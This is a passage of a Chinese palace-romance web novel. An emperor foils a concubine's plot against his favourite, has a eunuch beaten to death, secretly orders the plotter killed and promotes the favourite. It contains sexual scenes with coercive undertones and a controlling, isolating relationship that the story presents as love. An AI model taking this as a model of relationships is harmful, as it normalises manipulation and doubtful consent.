这里是皇上的寝殿,殿内宫灯温暖如昼,地上的地毯柔软,谢雨眠目光只触及到皇上的黑靴,心底已经想了几个来回。
皇上现在这个时候叫自己过来问席容烟的事情,是不是其实皇上心里也不全是相信席容烟的。
她又小心的抬眼,见着皇上鹤衣宽袍,坐在椅上似有些疲惫的撑着额头,那俊美高华的面容,在宫灯下虽看起来虽冷清,却又让人向往。
她心里动了动,又轻声道:“臣妾与珍嫔的确自小交好,那帕子是当初珍嫔与顾家郎君定亲时交换的信物,臣妾不会认错。”
说着谢雨眠咬咬牙,大着胆子跪着往皇上那边挪了挪,一脸心疼道:“珍嫔的枕头下面还放着顾家郎君亲手刻给她的定情桃花簪,书册里还夹着顾家郎君写给珍嫔的诗句。”
“臣妾与珍嫔一起时,她总说怀念过去,怀念旧人,臣妾曾劝过,可珍嫔还是说放不下。”
说着谢雨眠又叩首在魏祁的面前,落泪道:“珍嫔对顾家郎君当初的确是真心,只是没过两月就进宫,其实也不怪珍嫔挂念。”
“还请皇上轻饶了她。”
魏祁冷眼看着地上的人,唇边冷笑,又淡淡的问:“那你知道她在用麝香贴么?”
谢雨眠就忙抬起身摇头,她看不明白皇上的神情,只知道皇上叫她来寝宫,又问起席容烟,大抵是并不信席容烟,想到自己与席容烟相貌相似,或许会让自己留在这里一夜。
她今日来的时候还特意穿了一身和席容烟平日里差不多的衣裳,特意装扮的素净,心下起了心思,她又柔弱的泪盈盈道:“若臣妾知道珍嫔会用那东西,怎么也不会叫她用的。”
“只是她曾说过不愿怀上皇上的孩子,臣妾也没想到,她竟然真做了……”
席容烟坐在屏风内的床榻上,怔怔听着谢雨眠的这些话。
尽管知道谢雨眠心里恨她,亲耳听到她的这些话,还是伤心的。
毕竟十来年的情谊,也不过短短两三月就物是人非。
她又听到外头谢雨眠轻柔微微带着哭腔的声音:“臣妾自小与珍嫔交好,珍嫔也常在臣妾面前说过皇上的不好。”
“臣妾有一回严色劝导了珍嫔,珍嫔便对臣妾怀恨在心。“
“她不愿臣妾去关雎宫,不愿臣妾去簏山,还在皇上面前搬弄臣妾是非,臣妾许多话也压在心里,求皇上明鉴。”
席容烟手上颤了颤。
她果真是这么想的,姐妹情谊,竟是这么可笑。
屏风外的魏祁低低看着谢雨眠刚才还在五步外的位置,现在就已经跪在了他的脚边。
又看谢雨眠哭的梨花带雨的抬头看她,姿态动作,竟在模仿着席容烟。
他忽一阵厌恶。
若是以往,定然是一脚踢死这女人,但席容烟在里面,她见不了血腥,大抵也不忍心这女人死。
魏祁也并不想在席容烟面暴露他这一面。
前世的席容烟便怕他,现在她好不容易依赖自己,不可能被这个女人毁了。
他紧抿着唇,不动声色的脸庞依旧没有什么情绪,沉沉肃气却压下去,低声道:“回去。”
谢雨眠一怔,呆呆的抬头看向皇上,她看到皇上低垂的眼神在暗色中,浓黑如一团雾,看不清却让人后背发凉。
她说了这么多话,皇上又让她回去是什么意思?
皇上这么夜里叫她来,便没有打算留下她么。
还是她说错了什么。
她身上颤了颤,却大着胆子身子往皇上的膝盖上靠过去,手指落在皇上的大腿上,沙哑道:“皇上别为了珍嫔妹妹的事烦心,臣妾也可以和珍嫔一样伺候好皇上的。”
只是下一刻,她就觉得自己纤细的脖子被掐紧,她惊恐的抬眼,只看到那玄色宽阔的胸膛微微下压,背着烛光的面容如狰狞的修罗,那落在她耳边的压低的声音更如嗜血的猛兽:“朕让你回去。”
“别让朕说第二回。”
“滚。”
谢雨眠脸色涨红,张着嘴说不出一句话,只挣扎着紧紧握着面前的手臂。
魏祁有些厌烦的看了眼谢雨眠此刻的样子,松了手,看着她连滚带爬的跑了出去。
他慢条斯理的叫伺候在旁的宫人去端热水来,又对着高义吩咐了两句,净了手才往屏风内去。
床榻上的席容烟正穿着白色寝衣,脸颊微白,眼底潮湿染红。
魏祁看了席容烟几眼,又抬步走过去,坐在床沿上,伸手就将失神的人抱进自己怀里。
他拿过她手上捏着的帕子为她擦泪,又低低看着席容烟脸上的表情:“现在知道你表姐对你何心思了?”
他又压低了后背,抬起席容烟的下巴看她的眼睛,叹息着拂过她眼角:“烟儿,这宫里唯有朕对你真心。”
“你表姐不过去不了簏山,没有如愿去你的宫殿,听信了别人的话就陷害与你,你们十来年的姐妹情谊也不过如此。”
“后宫里那些其他女人今日也恨不得你立马出事。”
“只有朕自始至终都信你。”
席容烟心底涌出一股伤心,从前闺中的情谊在眼前,早就变了样子。
她环在皇上宽阔的胸膛上,潮湿染在魏祁的玄衣上,又抬起脸问:“皇上会怎么罚表姐?”
魏祁垂眸:“她诬陷栽赃,扰乱后宫,烟儿觉得,朕该怎么罚她?”
席容烟眨眼,小声道:“臣妾不知道。”
“但请皇上给表姐留一丝体面,臣妾怕舅舅舅母伤心。”
魏祁眼神暗了暗,双手捏着席容烟肩膀,弯腰看着面前这个还在心软的人。
他就是怕她心软,才让她亲耳听谢雨眠是怎么背叛她的。
他低声的提醒她:“烟儿,你知道若是朕不信你,你是什么下场么?”
“你这是对朕忤逆有二心,大了说你席家对朕都有二心,朕赐你死也是可以的。”
“你现在除了朕信你,还有其他证据证明你是清白的么?”
“烟儿,朕不可能无条件的袒护你,朕要服众,不然朕便成了昏君。”
“旁人怎么看朕?”
“你表姐要置你于死地,你却在为她心软。”
席容烟怔怔的问:“皇上真的全都信臣妾么?”
魏祁对上席容烟的眼睛,眼底微沉:“朕若不信你,刚才谢雨眠的话,朕就足以赐你罪了。”
“如今桩桩件件的证据都指着你,你还问朕信不信你?”
“烟儿,朕对你的好,你便全忘了?”
第95章 昨夜朕让你满意么?
席容烟闭上眼睛,明白皇上现在说的都是真的。
唯有皇上信她。
她轻轻扑进皇上的怀里,哑声道:“臣妾都听皇上的。”
魏祁弯腰轻轻吻了吻席容烟泪眼,他只想要她知晓他的心便罢了,并不想叫她难受,又轻拍着她后背低哄。
他能清晰的感觉到怀里柔软身子的主动贴近迎合,那双手指攀附在他后背上,仿佛万般依恋他。
魏祁脸上隐隐兴奋,他知道自己已经在席容烟心里占据了一席之地。
她心底的那个死人,总有一天会彻底的消失。
他的身体缓缓下压,拢着怀里的人又温柔的抚摸她的后背。
这时外头响起了高义的声音:“陛下,去含元殿找的东西拿来了。”
席容烟的心头又是一紧。
魏祁视线瞟过席容烟脸上的神情,又让高义拿进来。
高义手上托着两件东西,视线之处看到皇上怀里抱着的一抹白色身形时便不敢再抬头了,弯腰将东西呈上去。
等皇上接过东西,又悄声退了出去。
魏祁看了眼手上的东西,将那本书册先放在了一边,接着拿起那支桃花簪放在席容烟的面前问:“烟儿,你表姐说这支簪子是你与顾家那个的定情簪,还说是他亲手刻的。”
“你说朕该不该信?”
席容烟呆呆的看着那支簪子。
刚才表姐提起这只簪子的时候,她心里就担心了。
没想到皇上还是去让人拿了。
她抬头看向皇上,皇上低垂的眼眸在宫灯中捉摸不定,玄衣上的脸庞半明半灭,无声的压迫让她心里发紧。
她张张唇,正要开口的时候,却又见一声清脆的脆声,接着她眼底出现了一抹红。
只见那支簪子断在了皇上的手掌间,锋利的断口划破手指,冒出了一串血珠。
她身上颤了颤,身子已情不自禁往后仰了仰。
这样的场景她仿佛见过,眼前忽然冒出相似的场景,心底升腾起一股莫名的情绪,让她对正抱着她的人产生恐惧。
如鲠在喉。
断簪被扔到地毯上,魏祁看着席容烟苍白的脸色,又感觉到她微微离开自己的身子,不动声色的皱了眉。
他用帕子擦了擦血,又伸手将人重新按在怀中,低头抬起她苍白的脸颊,温声问:“刚才吓着烟儿了?”
“朕始终没信过她,这只簪子定然也是她放在你枕下用来污蔑你的。”
说着魏祁松开手,轻轻拍了拍席容烟的肩膀:“烟儿,别担心,朕会处理好的。”
席容烟半边脸埋在皇上的怀中,听着皇上温语抚慰,呆呆的看着地上的那只断簪,心头却在不平静的跳动。
或许是那只断簪当真在提醒她,从前的种种早就不应该想起,它也应该断了。
她又想起今日成为众矢之的的场景,除了姑母,就是皇上信她了。
席容烟闭上眼睛,顺从的靠在皇上的怀里,披泄的乌发遮住她脸庞,遮住她情绪,嗯了一声,低哑的声音格外动听。
魏祁无声低头,又无声的抬手,将遮住席容烟脸庞的发丝别开,露出她潮湿的白净面容,和她湿润发红的眼睛。
他看她眨眼,泪光在灯下盈盈,朱唇细眉,鬓发柔软,瞧起来可怜极了。
他面色柔和下来,看了她半晌,又低头吻向她的唇畔,将她的身子压在柔软的榻上。
他知道她现在大抵在伤心那支簪子,但他不会给她这个机会。
他的手伸进她的寝衣中,他知道她现在一定会更加顺从他。
即便她会觉得难受,她也不会拒绝。
他压抑许久的情欲和对她的占有总要发泄出来,今夜会是他们最好的开始。
魏祁兴奋的低喘一声,握着席容烟的手,炙热的呼吸喘息在她耳边:“烟儿,为朕宽衣。”
耳边的呼吸烫的席容烟身上战栗,颈边潮湿的吻让她脑中一片空白,手指已经被宽厚的手掌带到了皇上的腰上。
她指尖颤了下,又生涩的去解皇上的腰带。
很快床帐被放下,在摇曳的烛火中,帐内身影晃动,半夜还在纠缠。
席容烟浑浑噩噩只觉得身上燥热起伏,双手无力的攀在皇上的肩膀上,觉得身上开始难受,又推在面前的胸膛上细发出陌生的声音。
只是身上包裹着炙热的温度,又将她推进潮水中,连何时睡下的都不知晓。
早上醒来的时候,眼前是皇上半敞的衣襟,性感的锁骨的就露在她的面前,还微微带着热气。
她脸颊发热,再一抬眼,就看到皇上闭着眼睛睡着的模样。
她轻轻动了一下,放在她腰上的手指就一动,她又僵了僵,赶紧闭上了眼睛。
下一刻她的下巴又被抬起来,皇上幽深的眸子睁开,又托着她身子提了提,声音带着一丝满足后的沙哑声音:“醒了?”
席容烟轻轻嗯了一声,心跳的很快。
魏祁看着席容烟脸颊上那一抹红晕,低笑一声,又问她:“昨夜朕让你满意么?”
席容烟只觉得脸颊都红透了。
连耳根处她都觉得发热,连看皇上一眼都不敢。
她羞涩低头,手指捏在皇上的寝衣上,将脸紧埋在皇上的怀里,脸颊碰到的却是皇上赤裸的胸膛,里头有力的心跳声让她生出更多的羞涩来。
魏祁低头瞧了瞧那发红的耳根,伸手去捏了捏,微微的发热。
前世里两人鱼水之欢,好似她从来没有喜欢过。
魏祁的确在意她的感受。
他比从前更克制的要她,为了怕她不喜欢,从来没有放纵过。
又听怀里细小的声音:“臣妾……臣妾……”
半晌了也没听得到她那声满意。
魏祁挑眉,身子往后退了退,又抬起她的脸,看着她白玉脸庞上染上通红,杏眸中波光闪烁,不由失笑。
他低头:“这么害羞?连话都不会回了?”
第96章 朕自然该再努力才是
皇上的声音暧昧又沙哑,席容烟咬着唇,都快要咬出血色来,在皇上紧逼的眼眸中,终于犹犹豫豫的开口:“臣妾满意的……“
只是声音小的如蚊,魏祁都差点没听见。
他笑了笑,身上因她这话又有了反应,在她微微错愕的目光中,又抬身压在了她的身上。
席容烟忙伸手推在面前的胸膛上,皇上那眼神看得她心里发慌,又小声道:“臣妾想起来了。”
魏祁却直接压了下来,幽深的眸子看着她,沙哑道:“既然烟儿这般满意,朕自然该再努力才是。”
说罢身体便低了上去。
又是一场耽误许久的情事。
等结束了,魏祁已经穿戴整齐了过来,席容烟身上软的连撑起来都没什么力气。
此刻席容烟目光落在皇上手上拿着的那本书册上。
那本书册是昨夜高义拿来的。
是表姐说那册子里有她和韫玉哥哥从前的情诗。
她进宫,除了那只簪子,什么东西都没有带来,那只簪子身上没有什么标识,即便别人看见也发现不了什么。
只是表姐既说了,里面定然是有的,她不知道皇上会不会看,也不知道里面到底是什么内容,心里还是有些紧张的。
因为表姐看过韫玉哥哥的字迹,或许能模仿出来。
而韫玉哥哥已经不在,要证明,便要找从前的字迹,现在的皇上会信么。
魏祁看了席容烟一眼,又看向手中的书册。
席容烟屏着呼吸,以为皇上会打开看的,却见皇上直接将书册放在了床边的烛台上。
席容烟眼睁睁看着那本书在皇上的指尖被燃烧殆尽,又变成灰烬,轻飘飘的落下。
紧接着温热高大的身子压下来,将她托着抱在怀里,温和话就落在耳边:“朕信你,便也不信那书册里的东西。”
“你安心在这儿睡一会儿,中午朕过来陪你用膳,这两日先不用去皇后那里问安。”
“朕已经叫人去彻查了,你放心。”
其实那册子里的东西,魏祁早就知道了。
那里头的所谓的情诗,他曾在灯下细细看那字迹,虽模仿的有几分相似,但和他派人找来的顾韫玉的字迹能明显看出不是一人写的。
此刻更没有打开的必要。
他只在意那根簪子。
他做这么多,是要让席容烟不恨他的毁去那个死人的所有痕迹。
他在席容烟额头上又落了一吻。
席容烟对上皇上看过来的眸子,她怔了片刻,又听话的点头。
等皇上走后,席容烟才唤宝珠进来。
她坐在床沿上,看着地毯很快被宫人打扫干净。
宝珠看着席容烟微微松了的里衣,里头的红痕清晰可见,又看席容烟眼眸微肿,不由为席容烟将衣襟整理好,又低声道:“主子再睡会儿吧。”
“皇上说主子昨夜没睡好,让我们伺候着让主子再睡睡。”
席容烟这才觉着身上发软,身上一些地方还有点疼,就又缩进被中。
快中午时,魏祁在议事厅忙完,才往书房去,对着高义吩咐一句,又让内侍去请早等候在外面的皇后请进来。
宋贺兰在外殿几乎站了一刻才被请进去,高义让她回去等,她也偏要在这里等着,就是为了心头的那一股气。
她不明白,皇上为何会变成如今这个样子。
那席容烟在她眼里已成了妖妃。
皇上居然会被一个妖妃迷惑,罔顾事实,是非不分,一味的袒护。
皇上可以宠那个人,可将那个人宠到不分事实,那个人也该死了。
她从来不知道皇上会变得这么昏聩。
她大步进去书房的时候,皇上正站在桌边,好似正在等她。
宋贺兰抬头看向皇上,早已忍不住的出声质问:“昨日的事情物证具在,臣妾协理后宫,是要让后宫安宁公正。”
"皇上一味的偏袒珍嫔,臣妾与后宫的其他人如何交待?"
“事情传出去,其他人又如何看待皇上?”
“臣妾一定要处置了珍嫔。”
魏祁冷淡的看了宋贺兰一眼,紧压着唇畔,又慢条斯理的坐在椅子上,眯着眼靠着椅背。
他问:“皇后怎么确定那东西是珍嫔的?”
“东西的确是从珍嫔寝殿搜出来的,但你又怎么证明东西是珍嫔的,还是别人放进去的?”
说着魏祁的声音一沉,带出威严来:“你身为皇后,不核实真相,就急着处置,你就是这么公正的?”
那声音落在宋贺兰耳中,带着七分怒意和威严,让宋贺兰几乎撑不住身体。
她愕然抬头看向皇上,只看见皇上阴沉的面容,和历来冷酷的眼睛。
她看过太多皇上冰冷无情的样子,此刻心里只想要更快的除去席容烟。
她甚至还往前一步,紧紧看着皇上的眼睛:“臣妾自嫁给皇上七年来,从未有过逾矩过错。”
“那日臣妾也在那处,是亲眼看到那麝香贴从珍嫔身上掉下来的。”
“况且臣妾一视同仁,将所有人的寝殿都搜了一遍,唯有珍嫔那里出了问题,难道还不够证明么。”
魏祁锐利的眼眸冷冷看着皇后,随即喊了声高义,高义连忙带了一个太监过来。
宋贺兰看到那太监的一瞬间,心头忽然紧了紧,脸上却不敢有半分神色,手指已经掐进了掌心。
只见那太监一进去就猛然跪在了地上,朝着上头就磕头,战战兢兢的喊:“陛下饶命。”
高义在一旁低声道:“这太监借着出宫采办,底下应该收受了不少好处。”
“那麝香贴就是这胆大包天的贱奴买的。”
说着高义又踢了那太监一脚,怒斥:“还不快说!到底是谁指使你的!”
其实当初谢雨眠身边的宫女找到这太监的时候,皇上就知道了,留着他一条狗命,不过想看看皇后会不会牵扯处其他人。
不过谢雨眠找到这太监,得来的证据也是听身边的宫女说的,身边的宫女又是听其他宫女说的,事情细查也查不到源头。
跪在地上的太监脸色惨白,身上发抖,磕头道:“是谢才人身边的宫女让奴才去买的。”
“奴才刚开始听说了也不敢买,只是谢才人给了许多银子给奴才,还说那东西是用来给养的卷毛狗用的。”
“奴才也不懂这些,也没想到谢才人会去害人,这才答应了。”
说着他额头磕在地砖上咚咚作响:“求皇上,求皇后娘娘饶了奴才一命吧。”
“奴才也是听谢才人的吩咐啊。”
魏祁静静看了皇后一眼:“这太监皇后应该认识。”
第97章 臣妾想皇上了
宋贺兰听到皇上的话后就脸色一变。
身上颤了颤。
这太监她的确认识,从前是忠靖候府的奴才。
她心里早就有野心,在宫里总是要有行方便的人。
平日里不用,万一出了什么事情,却是能用上的。
她父亲总与她说未雨绸缪,虽然身在皇后的位置上,但是皇上从来不会任人拿捏,手上的兵权也没有完全交给宋家。
当初皇上身边的部下,虽然都是忠心耿耿一起打过来的,皇上待他们也都极好,但万一谁要有个什么动作,皇上也知晓,宋家手上那点兵权也并不能威胁皇上。
更何况自己父亲手下的那些部下里,好几个也都是皇上曾经带出来的旧部,父亲平日里行事都是小心的。
宋贺兰在后宫更是要准备,要知晓一切,要坐稳位置,总要有眼线。
只是她没想到,当初皇上登基,她趁着皇上诸事繁忙布下的人,皇上却连这个小小的太监都知道来历。
还是其实皇上也一直都在防着她。
皇上关注着忠靖候府的举动,或是她的举动。
宋贺兰心头忽然升起一股恐惧来,夫妻几载,她想问问皇上,究竟有没有将她当作过她的妻。
魏祁冷眼看着失神的皇后:“皇后,朕现在问你,此事与你有关么?”
“朕也想问,怎么就这么巧,谢才人的人就找上了这个奴才呢?”
宋贺兰身上抖了抖,知道现在不是她任性的时候,这事的来龙去脉她心里很清楚,谢雨眠如何得到东西,如何被黄贵人暗示她都明白。
现在这情况,这事必然要了了。
她甚至不敢深想,皇上是何时知道谢雨眠的人去找这奴才的。
幸好她有自信自己做的干净,这奴才也不敢将她供认出去。
她安排在宫里的人,都是有能牵住他们命脉的把柄。
她连忙道:“臣妾绝没有想到此事会与这太监有关。”
“这太监曾经或许是忠靖候府的家奴,但臣妾并不认识,这奴才应该是从前犯了过错被赶出去,又才进宫的。”
“皇上尽管彻查,臣妾与他毫无交集。”
“且臣妾也不知谢才人竟然敢胆大包天的栽赃陷害,还想往臣妾身上泼脏水。”
“此事是臣妾失查,臣妾定然会严惩谢才人。”
魏祁看了一眼皇后,又淡淡看着地上跪着磕头的太监,对他问:“此事与皇后有关系么?”
"若你说实话,朕可以饶了你。"
那太监只哭着叩求:“奴才被忠靖候府赶出去后就与皇后娘娘没干系了,此事奴才全蒙在鼓里,不知谢才人要陷害珍嫔娘娘啊。”
“还请皇上饶了奴才一命。”
魏祁抿着唇,又看了高义一眼。
高义连忙对外吩咐道:“来将这贱奴拖出去,五十杖打死了去。”
伴随着凄厉惨叫声,宋贺兰脸色白了白,身形微微晃了下。
她为了帮谢雨眠,白白失了一颗棋子。
还让皇上对她有了怀疑。
千算万算,竟然是落了一场空。
魏祁看着皇后的神色,又淡淡道:“那皇后觉得如何处置谢才人?”
宋贺兰强压心绪道:“谢才人陷害妃嫔,犯了大罪,只是发现的及时,没有造成后果,臣妾打算将她的位分降为美人,撤去身边宫女,幽禁在宫殿三月闭……”
她话还没有说完,就听到一声冷笑。
那声音很冷,冷的她全身发凉。
陷害妃嫔这件事,可大可小,全看人怎么定。
她身为皇后,心怀大度慈悲,这么说也没可指摘的。
皇上也不能说她说的有误。
留着一个怨恨席容烟的的人,总比失去要好。
她稳着心神迎面看向皇上:“臣妾这般处置也是表明皇上宽厚,对待所有嫔妃一视同仁。”
魏祁挑眉冷冷看她:“朕怎么记得皇后昨日要送珍嫔去寺庙,如今换成谢才人就是降位分了?”
宋贺兰拢着袖子背脊笔直:“珍嫔昨日是对皇上有二心,这样的人不能留在皇上的身边。”
“谢才人是因嫉妒才陷害,还算情有可原。”
“听说珍嫔与谢才人从前一直交好,应该珍嫔也不会过多计较的。”
“臣妾也打算问问珍嫔的意思,再做决断。”
魏祁冷眼看着宋贺兰,语气里带着不容抗拒的力道:“不用过问珍嫔,将谢才人废为庶人,送入昭和寺剃发为尼。”
宋贺兰怔了怔,看着皇上冷酷的神情,她张张嘴想要开口,最后又无声的沉默下去。
她什么时候改变过皇上的决定。
皇上这是明显要为珍嫔出气,容不下谢雨眠了。
她根本保不下。
她不明白,那个席容烟究竟有什么不一样,让从来冷心冷意的皇上这么在意她。
宋贺兰掐紧手,又面色如常的点头:“臣妾今日便去办。”
魏祁看着皇后出去的背影,指尖打在扶手上,又叫来高义,指尖在面上点了两下,又道:“在昭和寺,隔些日子让谢雨眠病死。”
“不用传消息回来。”
刚才高义还觉得皇上布局这么久,只让谢才人出家还觉得皇上仁慈了些,这会儿一听,皇上还是那个皇上。
他应下,立马出去吩咐侍卫去办。
魏祁往明德殿去的时候,才刚跨进去殿门,就有一道粉色的身形扑了过来。
魏祁忙抬手接住人,揽住席容烟的腰肢,低头看去,便见着席容烟抬着脸,好似十分想他:“皇上怎么这么久才来?”
魏祁挑眉,揽着人往怀里贴了贴:“朕一忙完便过来了。”
席容烟将脸往皇上的怀里蹭了蹭:“臣妾想皇上了。”
魏祁低头,细细看席容烟的脸庞,跟只猫一般在他怀里蹭,他眉目一软。
他极喜欢她这般依赖自己的模样,能让他心里升起柔软的东西。
他要的是与她一生一世,唯有能在她身上找到温情。
他牵着人往内殿走,坐在椅上又抱着她问:“想朕什么了?”
席容烟揽着皇上的脖子蹭上去,小声道:“臣妾就是想皇上了。”
魏祁将她腰肢搂紧,叹息一声。
席容烟又抬头问:“皇上让人查了么?”
“表姐在宫内没有人脉,怎么得来的宫外的东西?”
说着席容烟小心的看皇上一眼:“皇上要不查查出宫的人?或是表姐身边的人?”
魏祁看她:“此事朕已经处理好了。”
“是你表姐买通了采购太监得来的东西。”
“至于怎么处置你表姐,皇后已经安排了,贬为庶人,去昭和寺。”
说着魏祁问席容烟:“你去看看你表姐么。”
席容烟愣了一下又摇头:“不见了。”
魏祁满意的笑了笑,往席容烟发顶上吻了一下,总算是不那么心软了。
第98章 封为宸妃
这事之后两日,席容烟便被封为了宸妃,入住承乾宫。
当皇后在众人面前说了这事的时候,众人却半点意外都没有,她们都明白,皇上为席容烟赐封号为宸意味着什么。
是昭告众人,后宫里无一人比得上她。
她们只是将目光纷纷往席容烟身上看去。
这般大的恩宠,席容烟也只是安安静静的站起来朝着皇后道谢。
仿佛这一切都是她应该得的。
宋贺兰静静看着席容烟的反应,看着她温婉低垂的眉眼,手指掐进了肉里。
她却还要面容端庄的含笑:“宸妃,承乾宫离明德殿最近,你往后更要尽心服侍皇上,也不枉皇上这般喜欢你。”
席容烟便恭敬的垂首:“嫔妾谨听皇后娘娘的话。”
从皇后那里出去,席容烟一人走在最前面,其他嫔妃都有意无意的与她之间拉开距离,仿佛是要刻意的去孤立她。
席容烟也自然感受到了这微妙的气氛,也没有回头。
她进宫两月多不到三月,如今已经是宸妃,是许多后妃大抵一生都够不着的,连她自己都觉得自己得到的太轻而易举。
她独自上了步辇,回想她入宫时的心境,与此刻的心境,早已变换许多。
步辇直接停在了承乾宫,从前含元殿的管事姑姑凌姑姑等在门口的,见着席容烟过来,便忙拢着手带笑迎了过来,低声道:“伺候的人还是以前含元殿的人,里面的一应布置也是按着您从前的喜好来的。”
“皇上说娘娘现在进去看一看,要是还有哪里不满意的,直接吩咐奴婢,奴婢去重新布置。”
席容烟听着姑姑的话一路往前走,在跨进承乾宫的一瞬间,她的心口忽传来一股钝痛,叫她一下捂在胸口上,看向面前宽阔气派又金雕玉砌的宫殿。
她是第一回来,忽如其来的钝痛和心慌叫她心上一紧。
跟随在旁边的姑姑见着席容烟苍白的模样,忙伸手扶在席容烟手臂上,着急的问:“娘娘怎么了?”
胸口的钝痛缓落下去,席容烟又抬头看向宫殿内那一颗参天的松树,横生的一根树枝上系着秋千,轻微的随风晃动。
她仿佛看到那秋千上曾坐着过人,怀里抱着一个三四岁的孩子,笑声传入她耳膜,又是一阵胸闷。
席容烟觉得自己像是病了,出现了幻觉,她深吸一口气,摇摇头,又对着旁边的凌姑姑问:“这里曾住过谁?”
凌姑姑笑道:“皇上登基后,这里就一直空闲着,不曾有人来住过。”
席容烟便又问:“那之前呢?”
姑姑想了想:“先帝在时,这里住着纯贵妃,不过纯贵妃后头犯了错被打入了冷宫,后来这里就一直空着了。”
席容烟视线从那秋千上移开,点点头,跨进了宫内。
承乾宫主殿占了五间,比含元殿还要宽敞。
置办布置倒是与含元殿比起来并没有相差太多,许多布置也是按着席容烟的习惯来的。
姑姑又在旁边轻声道:“这里还有小厨房的,平日里娘娘爱吃什么,吩咐下去就可以开小灶了,不用等膳房的送来。”
席容烟没说话,一步一步往里面走,眼前掠过镂空雕花的窗与屏风,还有那轻纱帷幔,再到东屋寝卧里的那张刻着双凤衔珠的紫檀大床,和窗下描金山水纹海棠香几上的双鸾菱花铜镜。
姑姑一直观察着席容烟的神情,见席容烟从进来后就一直没说话,不由低声问:“这里的布置娘娘可满意?”
“若是有不满意的,奴婢这就去吩咐了重新置办。”
席容烟收回视线,又出去西暖阁内,坐在黄花梨鎏金宝象罗汉塌上,背对着身后的大花窗,旁边小案上落下温和的剪影,落在小案上的牡丹瓶花上,在熙熙暖阳中含笑:“一切都好的。”
凌姑姑便忪了一口气,又叫宫人来上茶:“那小书房内皇上给娘娘准备了许多书,说是特意给娘娘准备的,娘娘得空了也可以去瞧瞧。”
“这里离皇上平日里喜欢散心的小花园近,皇上说娘娘平日里也可以往小花园去走走。”
席容烟端着茶盏,低头抿了一口茶水,压着心底深处那一丝莫名的不适,又点头:“好。”
等凌姑姑退下去,宝珠便担心的凑上来小声问:“主子是不是身子不舒服?”
席容烟摇了摇头:“就是有些心慌,应该也不怎么要紧,这会儿好多了。”
玉竹担忧道:“主子从前没这毛病的,要不请太医来瞧瞧吧。”
席容烟手指按在胸口上,轻声开口:“也不要紧,大抵是这些日生了些事,我心境不平才这般的。”
“过两日再说吧。”
玉竹便知道席容烟说的什么事了。
谢主子那事也的确是让人没想到,从前那般亲近要好的,却是最先要害主子的。
她便叹息一声,没开口了。
夜里魏祁过来的时候,看到站在承乾宫门口等着他的席容烟,依稀之间,竟还觉得有一瞬间是错觉。
前世里席容烟在这个地方住了三年,却一次也没有出来迎过他。
他不由顿住步子,细细看向那宫灯下模模糊糊的身影,裙摆微微摇曳,她身上的味道若即若离,即便看不清她面容,也能想象到她细眉下的一抹容色。
他又迈开步子,走到她身侧,精确无误的牵着她的手,又往宫殿里面走。
他想起许多旧事。
他与席容烟第一回见面的场景,是他十六岁时在父皇的寿宴上。
第99章 烟儿,你又不乖了
那时候席容烟跟随着她母亲去那时候的皇后身边问安,他站在端妃的身后,静静看着那一身粉色的小小身影,规规矩矩,安安静静的,生的格外的漂亮喜人。
那时候席容烟才六岁,扑去席太后的怀里,叫人一瞧就想去逗一逗。
那夜端妃对他说,可惜席家的四姑娘年纪太小,不然想法子许给他做正妻,将来便能给他鼎力支持。
那时候太子已死在被幽禁的东宫里,他明白端妃这话的意思,要是娶了席家四姑娘,不仅太后支持他在父皇面前举荐,背后又有席家还有与席家交好的世家了,他在剩下的三个皇子里胜算更大。
或许便是那一句话,叫他莫名其妙对那小姑娘多关注几分。
后头两年后他回京大婚,他本刚在北地又获了一场大捷,却被匆匆传旨回京。
是端妃特意为他挑选的妻子,忠靖侯府的嫡长女。
那时候忠靖侯职位是北地随州中军总管,北地副都督,袭三品将军,这桩婚事对他来说不算是如虎添翼,但宋家有些功名战绩,常在北地驻守,对他在北地收拢人心有好处。
那时候他身后已经有支持他的党羽和部下,他有战功,勤勉克已,在父皇的心里有一席之地,但他回京后的那几日,除了去与父皇问安,便独来独往,只想少惹猜忌。
他骑马去寺庙里清净,没想到席容烟也在。
那时候她也八岁了,也不知道怎么跑去他那儿的,像是在和谁捉迷藏,偷偷摸摸的躲在了他门后,事后发现他了,又害怕又怕失礼的大着胆子过来给他赔罪。
他叫人打听,才知席家大夫人每月都会来那寺庙吃斋饭清修小住几日,他鬼使神差的竟也连着来了几日,大抵是为了多看那小姑娘放纸鸢的样子。
亭亭玉立,秀骨匀称,笑的喜人,又看起来软糯糯的。
其实真要说起来,魏祁大抵在席容烟很小的时候就开始注意她了,只是他很少在京,回来一趟也还记得她。
但那时候他并没有在席容烟身上想到过关于情爱的东西,更多的是一种不由自主的关注。
他真正意识到自己对席容烟的感情并不一样的时候,是她及笄那一年。
他在太后那里见着她,见着她已初长成少女,腰肢纤细,亭亭玉立,秀白如莲花,竟叫周遭黯然失色。
竟叫他忽动了纳她进宫的想法。
尽管那是一闪而过的想法,也足以叫他知道自己对席容烟,早已不是一般的只是无意识的关注她。
魏祁微微低头,眼神的余光处看向此刻并排走在他身侧的席容烟,宫灯暗暗,她脸庞流畅温润,光色在她鼻尖处流转,又落到她长睫上,还是从前的模样。
他捏紧她的手。
皇上这一夜好似格外的有兴致,从上榻起便没停歇过,席容烟浮浮沉沉,半梦半醒,耳畔听着皇上一声声沙哑的轻唤,又陷入沉沉的梦境里。
梦境里的她也被一具高大的身躯压在身下,喘息声也落在她耳边。
手腕处传来清晰的疼,疼进了骨头里。
她动弹不得,忍不住喊了一声:“疼……”
目光处那双眼睛渐渐往她靠近,他下颌上的一滴汗水落入她脸颊,那双眼睛带着情欲,又带着冷酷的冰凉,手指紧紧捏着她的下颌,声音阴冷:“烟儿,你又不乖了。”
“朕喜欢听你的声音,却不是叫你喊疼的。”
阴冷的声音嗜血又骇人,席容烟瞪大眼睛看着面前的人,那张面容渐渐与皇上的面容交叠,阴翳阴沉,她惊恐的出声:“皇上……”
皇上……
席容烟张张唇,耳边的喘息忽远忽近,她眯开雾蒙蒙的眼睛,眼前的人影晃动,她伸出手,怔怔看着自己白净的手腕,没有一丝红印。
只是如蚂蚁细咬的疼却好似从梦里出来在蔓延。
手腕很快被一只修长的大手握住,面前的人影压下来,叹息般的喘息一声,又吻住她唇畔:“烟儿……”
熟悉的气息,熟悉的声音。
她看着面前满是情欲的眼睛,微微闭着眼,额上有细小的汗珠,她竟有一刻分不清现在到底还在没在梦境中。
她闭上眼睛,那道阴沉的声音又响在耳边:“烟儿,听话。”
烟儿,听话……
席容烟又睁开眼,面前低沉的眸子看着她,一只手指覆在她眼尾,怜惜的吻了过来:“烟儿,难受了?”
她又感觉自己的身子被托起来,身子被抱入温热的怀抱,一只大手抚在她后背上:“朕轻一些。”
